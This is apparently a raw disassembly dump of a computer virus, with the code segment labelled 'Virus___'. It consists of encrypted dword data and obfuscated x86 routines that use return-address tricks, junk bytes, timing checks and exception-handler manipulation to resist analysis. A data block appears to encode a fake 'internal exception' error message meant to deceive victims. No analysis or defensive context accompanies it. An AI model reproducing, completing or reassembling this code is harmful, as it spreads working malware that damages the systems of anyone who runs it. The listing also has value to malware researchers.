0EF20FD7Ch, 6BD9AFD7h, 8E86B9D1h dd 8272AD66h, 0F769A67Bh, 0E864DB0Eh, 393E828h, 0BBBCFF57h dd 6FB76032h, 7394AEFBh, 0FCF8A87Bh, 0C06A033Eh, 634FF8A9h dd 6F2DC047h, 0A91170B4h, 1F99394h, 0D45363DCh, 5ED64965h dd 26AE7D96h, 4B0A05DEh, 2DCC02C8h, 407BDB1Fh, 8C063B4h dd 7CF42BFCh, 0A9ED22FFh, 965E95FDh, 0DE26AE7Dh, 0FAC20A05h dd 82580A90h, 3EC97E00h, 12h, 858F0DB0h, 2577A875h, 0A3665B7Ah dd 0BFD7DF8Dh, 353F2E88h, 0C531231Ch, 0D4251F10h, 0D51E1609h dd 0E911033Ch, 0F109FB34h, 0FA01F32Ch, 8278E827h, 876EE659h dd 68D3DD52h, 6594h, 68241C89h, 0C37h, 50241C89h, 405E089h dd 2D000000h, 4, 5C240487h, 55243489h, 0C42ECEBDh, 8BBF5746h dd 0BB6AB45Dh, 55A5E89Ch, 15FFB01h, 8B545DEBh, 0C4832434h dd 8B85004h, 2D000000h, 7C22D94h, 9405F001h, 8907C22Dh dd 34FF5818h, 0C4835E24h, 241C8B04h, 81E68956h, 4C6h, 4C68100h dd 87000000h, 0E95C2434h, 0FFFD03B4h, 2CCDBDBAh, 0B8531410h dd 71E7989h, 0E0FFC503h, 3F9E7930h, 4E55AD64h, 654EB550h dd 348EAE87h, 0FC4D0BEh, 41AACD7Eh, 5D1E0BF8h, 64146140h dd 61034BB2h, 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 4300h, 36A00h, 0 dd 1182E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0A9071FC3h, 293350F0h, 11890F7Bh dd 0E9000000h, 0Ch, 4AC1364Ch, 9D2B390Dh, 0D9941C47h, 0AD858Bh dd 0BD09071Bh, 71B0E15h, 4244439h, 0BC850Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 172772C3h, 0E91FD8B8h, 13h, 94028A0Fh, 0C1364C97h, 2B390D4Ah dd 941C479Dh, 838102D9h, 1B226DBDh, 840F0007h, 76h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 45C35545h, 94AC70F7h dd 0C858D29h, 6A071B3Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 96AC353h, 1B1EAD9Dh dd 0B8666007h, 0FF610904h, 51006AE0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0F216506Dh dd 0CE1E094Bh, 858BF599h, 71B08CDh, 244439F8h, 21850F04h dd 1000000h, 1B146995h, 3785C707h, 1071E7Eh, 0F000000h dd 0B8Ch, 85096000h, 71B28E1h, 61BFC180h, 53006A60h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 418D89F6h, 0E9071B06h, 27h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0DAC35545h, 240BD605h, 0C74B5h dd 0B8000000h, 1, 7FC98587h, 0C00B071Eh, 0B5FFF675h, 71B1C05h dd 7E2F858Fh, 206A071Eh, 95FFFF6Ah, 71B2A4Dh, 2211BD83h dd 7400071Bh, 0FF006A08h, 1B128995h, 0B9BD8307h, 1071B30h dd 80680D74h, 6A000000h, 4D95FFFFh, 60071B2Ah, 0B2C68166h dd 0C0B70FB5h, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 9FCFE33Bh, 0F9F6B7Ch dd 0E82h, 9D8B6000h, 71B1719h, 8D0Fh, 89610000h, 1B2CB985h dd 0B807h, 0BD290000h, 71B2511h, 2824548Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 6CC35141h, 0F5A1560h dd 782h, 18A0F00h, 0FC000000h, 2A298589h, 6A071Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 9A224FC3h, 6840Fh, 0B5090000h, 71B12D1h, 3CBEh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 23061DBBh, 17653E1Dh, 0DE9AEE6h, 0EE000000h, 53517A4Eh dd 6A05A685h, 87D6691Ch, 24247403h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0D6C35646h, 989057D7h, 890F606Fh dd 5, 6FEE8166h, 68B0FD8h, 89000000h, 1B177585h, 0DE96107h dd 1000000h, 0C63DE782h, 0F1DB99h, 0D28ED1CDh, 6660AD66h dd 8BE31BBFh, 1B0015B5h, 44036107h, 8D312424h, 71B28B9h dd 14850F50h, 0E9000000h, 0Fh, 0D9AC2347h, 9E0CF86Ah, 1445F829h dd 898E3936h, 8BFC2404h, 66607840h, 0F81260BBh, 37BD8361h dd 71E7Eh, 171850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0F86AECC3h, 0EE86050h dd 36000000h, 0CA58B624h, 727EF89Ch, 5FE38BB4h, 596160CBh dd 0BE9h, 150AC100h, 992D563Ch, 0C611BE70h, 24048961h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0B7C35141h dd 2C24448Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 9DC35242h, 34C82D1Fh, 5B968DBEh, 81858947h, 50071B30h dd 0DE9h, 3F8CFD00h, 2F08F8F6h, 322B2828h, 489ADB8h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0FEE49C76h, 0DE99A394h, 8B60AC0Bh, 1B2D418Dh, 61F58A07h dd 12E9h, 11FF9700h, 864EE295h, 941881CCh, 4011D0D5h, 8DADBA15h dd 1E373785h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0B3EB1A15h, 0ED806028h, 10E960E0h dd 2C000000h, 4CED8976h, 0EFA9FC64h, 52338349h, 8096D0C4h dd 616140EDh, 10830Fh, 830F0000h, 0Ah, 5E9h, 24036B00h dd 0D0FF086Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 30C35747h, 0D7FE796Fh, 343212Fh, 1282444h, 1B2EC5BDh dd 658D2907h, 8B071B34h, 6A1840h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 4A072AC3h, 5CCD6D93h dd 40BC68A2h, 8F56B860h, 0F6004F3h, 5B53F1BFh, 85896161h dd 71E7E33h, 6A58F5h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 53F3FDC3h, 0B5EE514Fh, 68A0F86h dd 31000000h, 1B11F5BDh, 7DB58907h, 8B071B06h, 6A7870h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0E4C87DC3h, 0A4E21B5Ah, 2755BD01h, 0C683071Bh, 55006A1Ch dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 697FB625h, 9B1FD67h, 69BD2974h, 96071B34h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 7DC35040h, 9F53C31Ah dd 77081090h, 30B59589h, 7C81071Bh, 2424h, 870F1000h, 0DEh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0ADC35141h dd 0E938CF26h, 0Fh, 8C75077Bh, 0DB027B37h, 8DE341C0h, 50D86569h dd 0EE9h, 0E1A43600h, 5A081D5Dh, 887BA07h, 898FA444h, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0DE561FC3h, 74DA96EAh, 448B36BBh, 0F602824h, 0B70FC3B7h dd 0BD8961CBh, 71B35F9h, 0E8606050h, 13h, 2AEE6CDBh, 8881DCD0h dd 856AA4C1h, 0C4C50617h, 5FF167BDh, 0D88B6661h, 24048961h dd 0FF960F8h, 388h, 0D18B6600h, 37858D61h, 0F8071E37h dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0C77D3FC3h, 21C15EAh, 6A96F966h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 47BC353h, 0E026F4D6h, 22819509h, 7403071Bh, 6A2424h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 8DC415C3h, 0D7FF2D34h, 0BD8DEA36h, 71B25A1h, 27399501h dd 89AD071Bh, 1B0CE995h, 247C8107h, 24h, 3870F10h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 8346C356h, 89F04046h, 1B22418Dh, 0DE95007h dd 0AD000000h, 609CD20Dh, 62CE1965h, 75E8480Ah, 6A240489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 29D0C352h, 8D31712Ah, 71B1831h, 2824448Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 59C35646h dd 123DB589h, 0F960071Bh, 1A999D89h, 5061071Bh, 5E566060h dd 0B0616160h, 48961A7h, 7E924h, 1F8F0000h, 333FEFEFh dd 37858D6Eh, 0E9071E37h, 13h, 12BB20E3h, 656FCC54h, 53EE074Eh dd 0E8FFD898h, 0FF3B6FC2h, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 2366A036h dd 14E9h, 0BC88F600h, 85E2820Ah, 268E3D5Fh, 94C1D82Ah dd 0CF6E292Ch, 4403F870h, 9D892424h, 71B00B1h, 55006AABh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 18E8754Bh, 0FA8125h, 0F000100h, 75B82h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 95BB2973h, 0DF42C614h, 89609BEEh, 1B15E5B5h, 0B5295107h dd 71B0A59h, 8D0F615Eh, 1, 59BD8DF5h, 6A071B16h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 8E6CC357h, 47B4AE07h, 89ADBECDh, 1B05B9BDh, 247C8107h dd 24h, 0EA870F10h, 0F5000000h, 8A576050h, 52505FF4h, 310FF88Ah dd 585A5F51h, 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 9BC35343h, 4595F2F0h, 2824448Bh, 8B6090F9h dd 4CBE66CEh, 0F5061A1h, 1A80h, 0E9525000h, 9, 0CC1B6C96h dd 42E7D104h, 50310FF6h, 5A310F52h, 90585A58h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0ADC35747h, 8D0197C1h dd 71B2941h, 0DE960h, 0AD040000h, 0F195C641h, 20E6C1BAh dd 0BA2D5BA4h, 585AE5ADh, 37858D61h, 6A071E37h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 1387C350h, 0AAE45CAh, 11E9472Ch, 0CD000000h, 290DBA75h dd 3BA72F4Dh, 9D4D570Ah, 9ED98809h, 89D0FFF9h, 1B0DE19Dh dd 24440307h, 0E950F824h, 7, 78FA5663h, 899D3CCAh, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 73F002C3h, 5E9E526h, 0 dd 5D818BE2h, 52006AABh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0E15118B4h, 6665D00h, 9589B966h dd 71B1745h, 29F9BD8Dh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 497FD6C3h, 0FC5DFFF3h dd 2161BD89h, 6AAD071Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0FC7CC352h, 28247C81h dd 10000000h, 117870Fh, 800F0000h, 6, 21E1BD09h, 9501071Bh dd 71B250Dh, 1E850F90h, 50000000h, 0F525052h, 0F585A31h dd 0DE931h, 56870000h, 552E9756h, 3BD21261h, 5A43B1B7h dd 0E8605058h, 13h, 2B1F6BFCh, 0A2A7004Bh, 3AD26B51h, 6E6FF76h dd 608CEFE6h, 8B665B61h, 299061CEh, 1B358D95h, 958B6007h dd 71B0BB1h, 0CD9BD29h, 8B61071Bh, 6A2C2444h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0E3C9C353h, 59F2EC95h, 909537D6h, 5085B760h, 0F616052h dd 0CE931h, 0DEB90000h, 3FD8D82Bh, 7F136A22h, 585A1CECh dd 8E95061h, 77000000h, 6F0364F1h, 900AE012h, 14E9h, 58DF9C00h dd 1CEB4DADh, 0F3A22918h, 4CAC48AEh, 3351DA35h, 37858D58h dd 9071E37h, 1B2DE9BDh, 6AD0FF07h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9AE7C352h dd 0B05346D4h, 0F600933h, 3161C2BFh, 1B18558Dh, 24440307h dd 55858928h, 0AB071B18h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 4AC35545h, 46A30B33h, 60296F60h, 6E8h dd 0FBF67000h, 0FBD21A1h, 86h, 0B5295800h, 71B2675h, 0FD8D8961h dd 5E071B26h, 7E338DFFh, 0BD83071Eh, 71E7E33h, 330A7500h dd 0A5B58DC0h, 0FF071E8Dh, 81AD56E6h, 28247Ch, 77100000h dd 448B500Eh, 8D502C24h, 1E373785h, 3D0FF07h, 97282444h dd 858ADF8Bh, 71E7E2Fh, 474C084h, 4C75073Ah, 0AEC03257h dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 2A2985FFh dd 5DE9071Bh, 5EFFFFFFh, 98A0Fh, 80600000h, 0BF66CACFh dd 6A61D9C5h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 8B87C355h, 4A10A2B4h, 29858BF8h dd 9071B2Ah, 1B2CB995h, 6AE0D107h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0C1D6C353h dd 8503306Ah, 71B29F9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 20C35040h, 583C9784h, 5E9D0E0h, 8C000000h dd 94BF1CA0h, 10E9h, 0E6CBFA00h, 22305E1Ah, 0A36F3A25h dd 0B822F5CAh, 6AF62BBDh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 41ADC357h, 9F195C6h dd 1B0E49BDh, 958D8907h, 96071B05h, 68B0Fh, 9D890000h dd 71B2C69h, 6AAD66h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0DF0DE8C3h, 0F02E0C1h, 885h, 2810F00h dd 60000000h, 8503FC61h, 71B25A1h, 5820F60h, 66000000h dd 0A5D8F381h, 2829BD29h, 9661071Bh, 25C99589h, 6AAD071Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0F749C353h, 0D4AE67C4h, 9D89D98Ah, 71B014Dh dd 24247C81h, 10000000h, 12D870Fh, 11E90000h, 22000000h dd 24B2D189h, 0BA7AA1F2h, 0A7035CBCh, 0A67A854Fh, 0E8A0F90h dd 60000000h, 310F5250h, 5250585Ah, 585A310Fh, 8E0F5061h dd 1Bh, 0AE95250h, 94000000h, 6F3806D0h, 75D33A31h, 50310FE0h dd 5A310F52h, 90585A58h, 0EE960h, 278D0000h, 0EACA1638h dd 33E9615Ah, 0B62A7C50h, 1B098D89h, 8B61071Bh, 0E9282444h dd 12h, 0A89C9A9Fh, 3579C4C1h, 23CB8DE5h, 49837FD0h, 5050EFDFh dd 14830F52h, 0E9000000h, 0Fh, 31B322FEh, 9ECFDC36h, 6C24544Ah dd 0F92B881h, 13E931h, 218E0000h, 2C20DEECh, 951F95h, 4DB9C481h dd 726C9FBFh, 89585A2Ah, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 858D07C3h, 71E3737h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 31C35242h dd 1C8F597Dh, 4B48635Ch, 6AD0FFF9h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 7C9CC356h dd 31BD3176h, 3071B03h, 6A242444h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8E4C350h dd 459FEE9Bh, 89A7CBA1h, 891C2444h, 1B2E7D95h, 585C607h dd 71B1Ch, 7FC985C7h, 71Eh, 85C70000h, 71E7E37h, 0 ; --------------------------------------------------------------------------- mov [ebp+71B0089h], edi jmp loc_573F4D ; --------------------------------------------------------------------------- db 40h dd 0B06591CDh, 0C02E28B5h, 0B5ED281Ah ; --------------------------------------------------------------------------- inc ebx loc_573F4D: ; CODE XREF: Virus___:00573F3Aj popa mov [ebp+71B1FD1h], ebx retn 8 ; --------------------------------------------------------------------------- push 0 push ebp call sub_573F62 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_573F62 proc near ; CODE XREF: Virus___:00573F5Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_573F62 endp ; --------------------------------------------------------------------------- jnz short loc_573F92 add ah, [eax+4Bh] daa mov eax, [ebp+71B25A1h] jmp loc_573F95 ; --------------------------------------------------------------------------- align 4 test eax, 50E6710Bh imul eax, edx, 324E9626h pop ebp shr byte ptr [ecx], 1 loc_573F92: ; CODE XREF: Virus___:00573F72j sub dh, [ecx-9] loc_573F95: ; CODE XREF: Virus___:00573F7Ej cld dec edx push 0 push eax call sub_573FA2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_573FA2 proc near ; CODE XREF: Virus___:00573F9Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_573FA2 endp ; --------------------------------------------------------------------------- push cs jmp loc_573FC2 ; --------------------------------------------------------------------------- dd 5AFEB2B3h, 0F5209Dh db 21h, 6Eh ; --------------------------------------------------------------------------- loc_573FC2: ; CODE XREF: Virus___:00573FB3j imul edx, 4 clc add eax, edx cld jmp loc_573FDA ; --------------------------------------------------------------------------- dw 63C6h ; --------------------------------------------------------------------------- cli retn ; --------------------------------------------------------------------------- dw 8B73h dd 774FC930h db 2Dh, 0F0h ; --------------------------------------------------------------------------- loc_573FDA: ; CODE XREF: Virus___:00573FC9j xchg eax, esi push 0 push edx call sub_573FE6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_573FE6 proc near ; CODE XREF: Virus___:00573FDEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_573FE6 endp ; --------------------------------------------------------------------------- pop ds stc lodsd pusha mov bx, 7797h mov dh, 85h popa cmp dword ptr [esp+24h], 10000000h ja loc_5740FB pusha mov eax, [ebp+71B2185h] sub esi, [ebp+71B3169h] popa push eax jno loc_574036 jmp loc_574036 ; --------------------------------------------------------------------------- db 0EBh, 0D9h, 2Fh dd 663E2CB3h, 76B48FE1h db 81h, 62h ; --------------------------------------------------------------------------- loc_574036: ; CODE XREF: Virus___:0057401Ej ; Virus___:00574024j mov [esp], eax push 0 push ebp call sub_574044 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_574044 proc near ; CODE XREF: Virus___:0057403Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_574044 endp ; --------------------------------------------------------------------------- dd 77520CECh, 18A19D29h, 448B071Bh, 6A2824h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 89E2E1C3h dd 1B32ADB5h, 52509007h, 52505250h, 585A310Fh, 8F0F310Fh dd 0 dd 310F585Ah, 0AE9h, 2D90B200h, 9E946B63h, 5A999C21h, 9E95058h dd 0CD000000h, 8B5DEFFDh, 0A418B1EAh, 1D9D8990h, 8D071B34h dd 1E373785h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 7FE00DFBh, 5E913h, 7E5F0000h, 0FF01BFAFh dd 0E9BD89D0h ; --------------------------------------------------------------------------- and al, 1Bh pop es assume es:nothing loc_5740FB: ; CODE XREF: Virus___:00574009j jmp near ptr dword_5739BC+52Bh ; --------------------------------------------------------------------------- push 0 push edx call sub_57410B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57410B proc near ; CODE XREF: Virus___:00574103p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_57410B endp ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- imul ecx, [esi+6Dh], -66h or [ebp+71B2861h], eax mov [ebp+71B1385h], esi lea eax, [ebp+71E9202h] push 0 push edx call sub_57413D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57413D proc near ; CODE XREF: Virus___:00574135p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_57413D endp ; --------------------------------------------------------------------------- db 0A2h, 5, 2Eh dd 0F09449Bh, 18Bh, 5050F900h, 12810F52h, 0E9000000h, 0Dh dd 9325558Ah, 83B7CDB6h, 46A57C41h, 60310F82h, 8069BE66h dd 5A615A50h, 24048958h, 1850Fh, 0F8F50000h, 35FF64h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0F5C3C355h, 6024048Bh, 896197B1h, 1B043185h dd 8964F507h, 25h, 9E900h, 0DB840000h, 0CEEB6B2h, 8D453DB4h dd 1E90C485h, 0F9958907h, 89071B21h, 6A0160h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0DC4082C3h dd 2570E691h, 0B589C080h, 71B22E1h, 188E9h, 0AE900h, 0BA700000h dd 1DE6D4FAh, 0B3CFA783h, 0E8DB8Bh, 5D000000h, 90BDED81h dd 9CBC071Eh, 830012FFh, 1B30B9BDh, 18740007h, 7D858Bh dd 0C6071Bh, 0BD858B00h, 0C6071B24h, 95FF0000h, 71B145Dh dd 3BB5FF60h, 8D071E7Ah, 1E7A3F85h, 858D5007h, 71E7C37h dd 6D95FF50h, 83071B16h, 0F610CC4h, 98Dh, 0BF56000h, 1B03459Dh dd 880F6107h, 15h, 10E9h, 3A4DA200h, 8E0D11C7h, 22AFEB76h dd 6C0CA63Ah, 37B58D49h, 0F071E7Ch, 18Bh, 0BD8DF800h, 71B0685h dd 7890Fh, 0F600000h, 6160FEBFh, 3E8061h, 2B840Fh, 0BD890000h dd 71B2685h, 25AD8D89h, 0FA4071Bh, 181h, 8D09F500h, 71B2145h dd 0FFFFD8E9h, 6890FFFh, 89000000h, 1B0E75BDh, 0E9C02B07h dd 6, 839791EFh, 0E9AA3061h, 0Eh, 4BA61383h, 0C6E14BDh dd 7C686234h, 7B80602h, 0F9000000h, 3F985C7h, 1071Bh, 9E90000h dd 61000000h, 0A4DBA623h, 0D6DF7A34h, 4F898D8Dh, 8B0F071Bh dd 0Ch, 0D6816660h, 81663E33h, 61FAE1C6h, 6AE1FFh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 8D89A2C3h, 71B2E0Dh, 0C245C8Bh, 0E855h, 815D0000h, 1E920CEDh dd 0B8838B07h, 89000000h, 1E7A3B85h, 0B6858D07h, 89071E90h dd 0B883h, 0C0335D00h, 858B60C3h, 71B220Dh, 60F861F8h dd 667CB760h, 8D61C78Bh, 1E941D85h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 60F5AFD4h dd 2445B509h, 8D09071Bh, 71B2B25h, 5050F561h, 5B506052h dd 50310F61h, 890F52h, 0F000000h, 5A616031h, 89585A58h dd 0B602404h, 1B23E58Dh, 0AE907h, 94600000h, 1A237BDh dd 0F19C39C4h, 35FF6461h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_574423 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_574423 proc near ; CODE XREF: Virus___:0057441Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_574423 endp ; --------------------------------------------------------------------------- pusha jmp loc_574449 ; --------------------------------------------------------------------------- db 2Fh, 65h, 0Eh ; --------------------------------------------------------------------------- sub [ecx-102329A4h], al mov ds:0BC805189h, al inc edx lodsd loc_574449: ; CODE XREF: Virus___:00574434j mov large fs:0, esp push 0 push edi call sub_57445B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57445B proc near ; CODE XREF: Virus___:00574453p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_57445B endp ; --------------------------------------------------------------------------- db 75h dd 234ECD7h, 89607D8Eh, 1B2CDDB5h, 0C68B6607h, 39BD2961h dd 8D071B11h, 1E94B585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 45450B3Dh, 60D5CBDFh dd 15EDBD8Bh, 8961071Bh, 95890160h, 71B0DA1h, 1C0585C6h dd 6A4F071Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0A75C356h, 6D0B0541h, 0AE98515h dd 0B5000000h, 5AF8087Bh, 790A1D57h, 0E28068C3h, 0AE9FE5Bh dd 26000000h, 17F40DC7h, 4BAE749Fh, 24048145h, 6C91AAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0B0C35040h dd 0C07D0E20h, 84CEA393h, 2E11B5FFh, 8DFC071Bh, 1E7E7A85h dd 50536007h, 6E95A5Ah, 0C0000000h, 7B9DB7C7h, 0D0FF6150h dd 25858531h, 0C0E9071Bh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D8D0C352h dd 150F5FC7h, 7D9D89AFh, 8B071B29h, 550C245Ch, 0E8h, 0ED815D00h dd 71E9427h, 225D858Bh, 8589071Bh, 71B2E11h, 8CD858Bh dd 8589071Bh, 71B2295h, 0AD858Bh, 8589071Bh, 71B1EE5h dd 1C0585C6h, 0C700071Bh, 1E7FC985h, 7, 0B5858D00h, 89071E94h dd 0B883h, 0C0335D00h, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 391C5A47h, 26119E84h dd 8F0FE8BBh, 6, 0BB58589h, 8589071Bh, 71B2801h, 6E9h dd 6E979600h, 0BC55BA6Dh, 12FF74h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 6DC35242h, 0B0C9DB11h, 59B3CA29h dd 9E9B5h, 82C60000h, 51EFE146h, 64AD1C0Eh, 58Fh, 9E90000h dd 0C3000000h, 2D0E5075h, 0AFE64641h, 68D0Fh, 8D290000h dd 71B20F5h, 6A04C483h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 60EDC350h, 0D5B7BBF8h dd 616121E5h, 0AE8h, 4D421C00h, 336F8A5Ah, 0E80D701Eh dd 12h, 24D99E3Ch, 0C97E7113h, 0E8E306DDh, 79262F46h, 8D898FB7h dd 71B0DEDh, 0DBB6585Eh, 6F45C081h, 0F88B0000h, 1BACB9h dd 75BD2300h, 8B071B0Bh, 0E1950B18h, 81071B18h, 8630EDEBh dd 0B1C38169h, 0F5361B51h, 0B519C381h, 0B5295F5Ah, 71B1E81h dd 61B58953h, 8F071B18h, 0DD958900h, 81071B0Ch, 8D51A8E8h dd 0AD9D0126h, 81071B17h, 8D51A4C0h, 0F98D8926h, 83071B09h dd 850F01E9h, 0FFFFFFAFh, 5E9h, 0CDDF3700h, 48E929C6h dd 44000001h, 48000000h, 4C000000h, 50000000h, 4Ch dup(0) dd 53000000h, 3005747h, 8D00ACC2h, 1E95D985h, 6D9D2B07h dd 89071B2Dh, 1E971985h, 68B0F07h, 29000000h, 1B24759Dh dd 585C607h, 54071B1Ch, 0AE9h, 4727A200h, 0EB5FC3C6h, 68067846h dd 0DB5CB3F9h, 481F78Bh, 5B43024h, 85315013h, 71B2F3Dh dd 11B5FF59h, 89071B2Eh, 1B12DDB5h, 8DFA8B07h, 1E7E7A85h dd 53C98007h, 50B5D0FFh, 971D8589h, 8166071Eh, 0E9146CCAh dd 4Eh, 1B01950Bh, 8B56071Bh, 1E9719B5h, 83068907h, 1E971985h dd 0C35E0407h, 0D9B58D60h, 0EB071E95h, 6A560Fh, 95FF36FFh dd 71E971Dh, 4C6835Eh, 75003E83h, 0FC361ECh, 586h, 0C181BF00h dd 